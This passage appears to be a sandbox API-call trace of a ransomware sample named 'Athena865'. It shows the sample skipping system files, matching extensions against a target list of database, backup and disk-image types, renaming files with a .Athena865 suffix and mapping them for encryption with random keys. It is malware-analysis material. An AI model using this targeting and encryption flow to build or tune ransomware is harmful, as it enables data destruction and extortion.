(lpString1="CSS", lpString2="maw") returned -1 [0146.870] lstrlenW (lpString="mdbhtml") returned 7 [0146.870] lstrcmpiW (lpString1="EEL.CSS", lpString2="mdbhtml") returned -1 [0146.870] lstrlenW (lpString="mdn") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="mdn") returned -1 [0146.870] lstrlenW (lpString="mdt") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="mdt") returned -1 [0146.870] lstrlenW (lpString="mfd") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="mfd") returned -1 [0146.870] lstrlenW (lpString="mpd") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="mpd") returned -1 [0146.870] lstrlenW (lpString="mrg") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="mrg") returned -1 [0146.870] lstrlenW (lpString="mud") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="mud") returned -1 [0146.870] lstrlenW (lpString="mwb") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="mwb") returned -1 [0146.870] lstrlenW (lpString="myd") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="myd") returned -1 [0146.870] lstrlenW (lpString="ndf") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="ndf") returned -1 [0146.870] lstrlenW (lpString="nnt") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="nnt") returned -1 [0146.871] lstrlenW (lpString="nrmlib") returned 6 [0146.871] lstrcmpiW (lpString1="EL.CSS", lpString2="nrmlib") returned -1 [0146.871] lstrlenW (lpString="ns2") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="ns2") returned -1 [0146.871] lstrlenW (lpString="ns3") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="ns3") returned -1 [0146.871] lstrlenW (lpString="ns4") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="ns4") returned -1 [0146.871] lstrlenW (lpString="nsf") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="nsf") returned -1 [0146.871] lstrlenW (lpString="nv") returned 2 [0146.871] lstrcmpiW (lpString1="SS", lpString2="nv") returned 1 [0146.871] lstrlenW (lpString="nv2") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="nv2") returned -1 [0146.871] lstrlenW (lpString="nwdb") returned 4 [0146.871] lstrcmpiW (lpString1=".CSS", lpString2="nwdb") returned -1 [0146.871] lstrlenW (lpString="nyf") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="nyf") returned -1 [0146.871] lstrlenW (lpString="odb") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="odb") returned -1 [0146.871] lstrlenW (lpString="odb") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="odb") returned -1 [0146.871] lstrlenW (lpString="oqy") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="oqy") returned -1 [0146.871] lstrlenW (lpString="ora") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="ora") returned -1 [0146.871] lstrlenW (lpString="orx") returned 3 [0146.871] lstrcmpiW (lpString1="CSS", lpString2="orx") returned -1 [0146.871] lstrlenW (lpString="owc") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="owc") returned -1 [0146.872] lstrlenW (lpString="p96") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="p96") returned -1 [0146.872] lstrlenW (lpString="p97") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="p97") returned -1 [0146.872] lstrlenW (lpString="pan") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="pan") returned -1 [0146.872] lstrlenW (lpString="pdb") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="pdb") returned -1 [0146.872] lstrlenW (lpString="pdm") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="pdm") returned -1 [0146.872] lstrlenW (lpString="pnz") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="pnz") returned -1 [0146.872] lstrlenW (lpString="qry") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="qry") returned -1 [0146.872] lstrlenW (lpString="qvd") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="qvd") returned -1 [0146.872] lstrlenW (lpString="rbf") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="rbf") returned -1 [0146.872] lstrlenW (lpString="rctd") returned 4 [0146.872] lstrcmpiW (lpString1=".CSS", lpString2="rctd") returned -1 [0146.872] lstrlenW (lpString="rod") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="rod") returned -1 [0146.872] lstrlenW (lpString="rodx") returned 4 [0146.872] lstrcmpiW (lpString1=".CSS", lpString2="rodx") returned -1 [0146.872] lstrlenW (lpString="rpd") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="rpd") returned -1 [0146.872] lstrlenW (lpString="rsd") returned 3 [0146.872] lstrcmpiW (lpString1="CSS", lpString2="rsd") returned -1 [0146.872] lstrlenW (lpString="sas7bdat") returned 8 [0146.872] lstrcmpiW (lpString1="TEEL.CSS", lpString2="sas7bdat") returned 1 [0146.873] lstrlenW (lpString="sbf") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="sbf") returned -1 [0146.873] lstrlenW (lpString="scx") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="scx") returned -1 [0146.873] lstrlenW (lpString="sdb") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="sdb") returned -1 [0146.873] lstrlenW (lpString="sdc") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="sdc") returned -1 [0146.873] lstrlenW (lpString="sdf") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="sdf") returned -1 [0146.873] lstrlenW (lpString="sis") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="sis") returned -1 [0146.873] lstrlenW (lpString="spq") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="spq") returned -1 [0146.873] lstrlenW (lpString="te") returned 2 [0146.873] lstrcmpiW (lpString1="SS", lpString2="te") returned -1 [0146.873] lstrlenW (lpString="teacher") returned 7 [0146.873] lstrcmpiW (lpString1="EEL.CSS", lpString2="teacher") returned -1 [0146.873] lstrlenW (lpString="tmd") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="tmd") returned -1 [0146.873] lstrlenW (lpString="tps") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="tps") returned -1 [0146.873] lstrlenW (lpString="trc") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="trc") returned -1 [0146.873] lstrlenW (lpString="trc") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="trc") returned -1 [0146.873] lstrlenW (lpString="trm") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="trm") returned -1 [0146.873] lstrlenW (lpString="udb") returned 3 [0146.873] lstrcmpiW (lpString1="CSS", lpString2="udb") returned -1 [0146.874] lstrlenW (lpString="udl") returned 3 [0146.874] lstrcmpiW (lpString1="CSS", lpString2="udl") returned -1 [0146.874] lstrlenW (lpString="usr") returned 3 [0146.874] lstrcmpiW (lpString1="CSS", lpString2="usr") returned -1 [0146.874] lstrlenW (lpString="v12") returned 3 [0146.874] lstrcmpiW (lpString1="CSS", lpString2="v12") returned -1 [0146.874] lstrlenW (lpString="vis") returned 3 [0146.874] lstrcmpiW (lpString1="CSS", lpString2="vis") returned -1 [0146.874] lstrlenW (lpString="vpd") returned 3 [0146.874] lstrcmpiW (lpString1="CSS", lpString2="vpd") returned -1 [0146.874] lstrlenW (lpString="vvv") returned 3 [0146.874] lstrcmpiW (lpString1="CSS", lpString2="vvv") returned -1 [0146.874] lstrlenW (lpString="wdb") returned 3 [0146.874] lstrcmpiW (lpString1="CSS", lpString2="wdb") returned -1 [0146.874] lstrlenW (lpString="wmdb") returned 4 [0146.874] lstrcmpiW (lpString1=".CSS", lpString2="wmdb") returned -1 [0146.874] lstrlenW (lpString="wrk") returned 3 [0146.874] lstrcmpiW (lpString1="CSS", lpString2="wrk") returned -1 [0146.874] lstrlenW (lpString="xdb") returned 3 [0146.874] lstrcmpiW (lpString1="CSS", lpString2="xdb") returned -1 [0146.874] lstrlenW (lpString="xld") returned 3 [0146.874] lstrcmpiW (lpString1="CSS", lpString2="xld") returned -1 [0146.874] lstrlenW (lpString="xmlff") returned 5 [0146.874] lstrcmpiW (lpString1="L.CSS", lpString2="xmlff") returned -1 [0146.874] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS.Athena865") returned 67 [0146.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css.athena865"), dwFlags=0x1) returned 1 [0146.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STEEL.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\steel.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.877] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0146.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.877] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.877] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.878] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.878] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.878] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0146.879] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0146.880] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.881] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.881] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.881] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.881] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.882] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.882] CloseHandle (hObject=0x154) returned 1 [0146.882] CloseHandle (hObject=0x17c) returned 1 [0146.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.882] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.882] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33021f00, ftCreationTime.dwHighDateTime=0x1ca6570, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x33021f00, ftLastWriteTime.dwHighDateTime=0x1ca6570, nFileSizeHigh=0x0, nFileSizeLow=0x69d1a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STSLIST.CHM", cAlternateFileName="")) returned 1 [0146.882] lstrcmpiW (lpString1="STSLIST.CHM", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.882] lstrcmpiW (lpString1="STSLIST.CHM", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.882] lstrcpyW (in: lpString1=0x241e8a8, lpString2="STSLIST.CHM" | out: lpString1="STSLIST.CHM") returned="STSLIST.CHM" [0146.882] lstrlenW (lpString="STSLIST.CHM") returned 11 [0146.882] lstrlenW (lpString="Athena865") returned 9 [0146.882] lstrcmpiW (lpString1="SLIST.CHM", lpString2="Athena865") returned 1 [0146.882] lstrlenW (lpString=".dll") returned 4 [0146.882] lstrcmpiW (lpString1="STSLIST.CHM", lpString2=".dll") returned 1 [0146.882] lstrlenW (lpString=".lnk") returned 4 [0146.882] lstrcmpiW (lpString1="STSLIST.CHM", lpString2=".lnk") returned 1 [0146.882] lstrlenW (lpString=".ini") returned 4 [0146.882] lstrcmpiW (lpString1="STSLIST.CHM", lpString2=".ini") returned 1 [0146.883] lstrlenW (lpString=".sys") returned 4 [0146.883] lstrcmpiW (lpString1="STSLIST.CHM", lpString2=".sys") returned 1 [0146.883] lstrlenW (lpString="STSLIST.CHM") returned 11 [0146.883] lstrlenW (lpString="bak") returned 3 [0146.883] lstrcmpiW (lpString1="CHM", lpString2="bak") returned 1 [0146.883] lstrlenW (lpString="ba_") returned 3 [0146.883] lstrcmpiW (lpString1="CHM", lpString2="ba_") returned 1 [0146.883] lstrlenW (lpString="dbb") returned 3 [0146.883] lstrcmpiW (lpString1="CHM", lpString2="dbb") returned -1 [0146.883] lstrlenW (lpString="vmdk") returned 4 [0146.883] lstrcmpiW (lpString1=".CHM", lpString2="vmdk") returned -1 [0146.883] lstrlenW (lpString="rar") returned 3 [0146.883] lstrcmpiW (lpString1="CHM", lpString2="rar") returned -1 [0146.883] lstrlenW (lpString="zip") returned 3 [0146.883] lstrcmpiW (lpString1="CHM", lpString2="zip") returned -1 [0146.883] lstrlenW (lpString="tgz") returned 3 [0146.883] lstrcmpiW (lpString1="CHM", lpString2="tgz") returned -1 [0146.883] lstrlenW (lpString="vbox") returned 4 [0146.883] lstrcmpiW (lpString1=".CHM", lpString2="vbox") returned -1 [0146.883] lstrlenW (lpString="vdi") returned 3 [0146.883] lstrcmpiW (lpString1="CHM", lpString2="vdi") returned -1 [0146.883] lstrlenW (lpString="vhd") returned 3 [0146.883] lstrcmpiW (lpString1="CHM", lpString2="vhd") returned -1 [0146.883] lstrlenW (lpString="vhdx") returned 4 [0146.883] lstrcmpiW (lpString1=".CHM", lpString2="vhdx") returned -1 [0146.883] lstrlenW (lpString="avhd") returned 4 [0146.883] lstrcmpiW (lpString1=".CHM", lpString2="avhd") returned -1 [0146.883] lstrlenW (lpString="db") returned 2 [0146.883] lstrcmpiW (lpString1="HM", lpString2="db") returned 1 [0146.884] lstrlenW (lpString="db2") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="db2") returned -1 [0146.884] lstrlenW (lpString="db3") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="db3") returned -1 [0146.884] lstrlenW (lpString="dbf") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="dbf") returned -1 [0146.884] lstrlenW (lpString="mdf") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="mdf") returned -1 [0146.884] lstrlenW (lpString="mdb") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="mdb") returned -1 [0146.884] lstrlenW (lpString="sql") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="sql") returned -1 [0146.884] lstrlenW (lpString="sqlite") returned 6 [0146.884] lstrcmpiW (lpString1="ST.CHM", lpString2="sqlite") returned 1 [0146.884] lstrlenW (lpString="sqlite3") returned 7 [0146.884] lstrcmpiW (lpString1="IST.CHM", lpString2="sqlite3") returned -1 [0146.884] lstrlenW (lpString="sqlitedb") returned 8 [0146.884] lstrcmpiW (lpString1="LIST.CHM", lpString2="sqlitedb") returned -1 [0146.884] lstrlenW (lpString="xml") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="xml") returned -1 [0146.884] lstrlenW (lpString="$er") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="$er") returned 1 [0146.884] lstrlenW (lpString="4dd") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="4dd") returned 1 [0146.884] lstrlenW (lpString="4dl") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="4dl") returned 1 [0146.884] lstrlenW (lpString="^^^") returned 3 [0146.884] lstrcmpiW (lpString1="CHM", lpString2="^^^") returned 1 [0146.884] lstrlenW (lpString="abs") returned 3 [0146.885] lstrcmpiW (lpString1="CHM", lpString2="abs") returned 1 [0146.885] lstrlenW (lpString="abx") returned 3 [0146.885] lstrcmpiW (lpString1="CHM", lpString2="abx") returned 1 [0146.885] lstrlenW (lpString="accdb") returned 5 [0146.885] lstrcmpiW (lpString1="T.CHM", lpString2="accdb") returned 1 [0146.885] lstrlenW (lpString="accdc") returned 5 [0146.885] lstrcmpiW (lpString1="T.CHM", lpString2="accdc") returned 1 [0146.885] lstrlenW (lpString="accde") returned 5 [0146.885] lstrcmpiW (lpString1="T.CHM", lpString2="accde") returned 1 [0146.885] lstrlenW (lpString="accdr") returned 5 [0146.885] lstrcmpiW (lpString1="T.CHM", lpString2="accdr") returned 1 [0146.885] lstrlenW (lpString="accdt") returned 5 [0146.885] lstrcmpiW (lpString1="T.CHM", lpString2="accdt") returned 1 [0146.885] lstrlenW (lpString="accdw") returned 5 [0146.885] lstrcmpiW (lpString1="T.CHM", lpString2="accdw") returned 1 [0146.885] lstrlenW (lpString="accft") returned 5 [0146.885] lstrcmpiW (lpString1="T.CHM", lpString2="accft") returned 1 [0146.885] lstrlenW (lpString="adb") returned 3 [0146.885] lstrcmpiW (lpString1="CHM", lpString2="adb") returned 1 [0146.885] lstrlenW (lpString="adb") returned 3 [0146.885] lstrcmpiW (lpString1="CHM", lpString2="adb") returned 1 [0146.885] lstrlenW (lpString="ade") returned 3 [0146.885] lstrcmpiW (lpString1="CHM", lpString2="ade") returned 1 [0146.885] lstrlenW (lpString="adf") returned 3 [0146.885] lstrcmpiW (lpString1="CHM", lpString2="adf") returned 1 [0146.885] lstrlenW (lpString="adn") returned 3 [0146.885] lstrcmpiW (lpString1="CHM", lpString2="adn") returned 1 [0146.885] lstrlenW (lpString="adp") returned 3 [0146.885] lstrcmpiW (lpString1="CHM", lpString2="adp") returned 1 [0146.886] lstrlenW (lpString="alf") returned 3 [0146.886] lstrcmpiW (lpString1="CHM", lpString2="alf") returned 1 [0146.886] lstrlenW (lpString="ask") returned 3 [0146.886] lstrcmpiW (lpString1="CHM", lpString2="ask") returned 1 [0146.886] lstrlenW (lpString="btr") returned 3 [0146.886] lstrcmpiW (lpString1="CHM", lpString2="btr") returned 1 [0146.886] lstrlenW (lpString="cat") returned 3 [0146.886] lstrcmpiW (lpString1="CHM", lpString2="cat") returned 1 [0146.886] lstrlenW (lpString="cdb") returned 3 [0146.886] lstrcmpiW (lpString1="CHM", lpString2="cdb") returned 1 [0146.886] lstrlenW (lpString="ckp") returned 3 [0146.886] lstrcmpiW (lpString1="CHM", lpString2="ckp") returned -1 [0146.886] lstrlenW (lpString="cma") returned 3 [0146.886] lstrcmpiW (lpString1="CHM", lpString2="cma") returned -1 [0146.886] lstrlenW (lpString="cpd") returned 3 [0146.886] lstrcmpiW (lpString1="CHM", lpString2="cpd") returned -1 [0146.886] lstrlenW (lpString="dacpac") returned 6 [0146.886] lstrcmpiW (lpString1="ST.CHM", lpString2="dacpac") returned 1 [0146.886] lstrlenW (lpString="dad") returned 3 [0146.886] lstrcmpiW (lpString1="CHM", lpString2="dad") returned -1 [0146.886] lstrlenW (lpString="dadiagrams") returned 10 [0146.886] lstrcmpiW (lpString1="TSLIST.CHM", lpString2="dadiagrams") returned 1 [0146.886] lstrlenW (lpString="daschema") returned 8 [0146.886] lstrcmpiW (lpString1="LIST.CHM", lpString2="daschema") returned 1 [0146.886] lstrlenW (lpString="db-journal") returned 10 [0146.886] lstrcmpiW (lpString1="TSLIST.CHM", lpString2="db-journal") returned 1 [0146.886] lstrlenW (lpString="db-shm") returned 6 [0146.886] lstrcmpiW (lpString1="ST.CHM", lpString2="db-shm") returned 1 [0146.886] lstrlenW (lpString="db-wal") returned 6 [0146.887] lstrcmpiW (lpString1="ST.CHM", lpString2="db-wal") returned 1 [0146.887] lstrlenW (lpString="dbc") returned 3 [0146.887] lstrcmpiW (lpString1="CHM", lpString2="dbc") returned -1 [0146.887] lstrlenW (lpString="dbs") returned 3 [0146.887] lstrcmpiW (lpString1="CHM", lpString2="dbs") returned -1 [0146.887] lstrlenW (lpString="dbt") returned 3 [0146.887] lstrcmpiW (lpString1="CHM", lpString2="dbt") returned -1 [0146.887] lstrlenW (lpString="dbv") returned 3 [0146.887] lstrcmpiW (lpString1="CHM", lpString2="dbv") returned -1 [0146.887] lstrlenW (lpString="dbx") returned 3 [0146.887] lstrcmpiW (lpString1="CHM", lpString2="dbx") returned -1 [0146.887] lstrlenW (lpString="dcb") returned 3 [0146.887] lstrcmpiW (lpString1="CHM", lpString2="dcb") returned -1 [0146.887] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM.Athena865") returned 69 [0146.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm.athena865"), dwFlags=0x1) returned 1 [0146.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLIST.CHM.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslist.chm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.889] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=433434) returned 1 [0146.889] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.890] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.891] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.891] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.891] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a020, lpName=0x0) returned 0x154 [0146.892] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a020) returned 0x2bb0000 [0146.913] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.914] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.914] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.914] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.914] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.915] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0146.918] CloseHandle (hObject=0x154) returned 1 [0146.919] CloseHandle (hObject=0x17c) returned 1 [0146.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.919] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.920] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6069a300, ftCreationTime.dwHighDateTime=0x1cab8a9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6069a300, ftLastWriteTime.dwHighDateTime=0x1cab8a9, nFileSizeHigh=0x0, nFileSizeLow=0x15990, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STSLISTI.DLL", cAlternateFileName="")) returned 1 [0146.921] lstrcmpiW (lpString1="STSLISTI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.921] lstrcmpiW (lpString1="STSLISTI.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.921] lstrcpyW (in: lpString1=0x241e8a8, lpString2="STSLISTI.DLL" | out: lpString1="STSLISTI.DLL") returned="STSLISTI.DLL" [0146.921] lstrlenW (lpString="STSLISTI.DLL") returned 12 [0146.921] lstrlenW (lpString="Athena865") returned 9 [0146.921] lstrcmpiW (lpString1="LISTI.DLL", lpString2="Athena865") returned 1 [0146.921] lstrlenW (lpString=".dll") returned 4 [0146.921] lstrcmpiW (lpString1="STSLISTI.DLL", lpString2=".dll") returned 1 [0146.921] lstrlenW (lpString=".lnk") returned 4 [0146.921] lstrcmpiW (lpString1="STSLISTI.DLL", lpString2=".lnk") returned 1 [0146.921] lstrlenW (lpString=".ini") returned 4 [0146.921] lstrcmpiW (lpString1="STSLISTI.DLL", lpString2=".ini") returned 1 [0146.921] lstrlenW (lpString=".sys") returned 4 [0146.921] lstrcmpiW (lpString1="STSLISTI.DLL", lpString2=".sys") returned 1 [0146.921] lstrlenW (lpString="STSLISTI.DLL") returned 12 [0146.921] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL.Athena865") returned 70 [0146.921] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\STSLISTI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\stslisti.dll"), 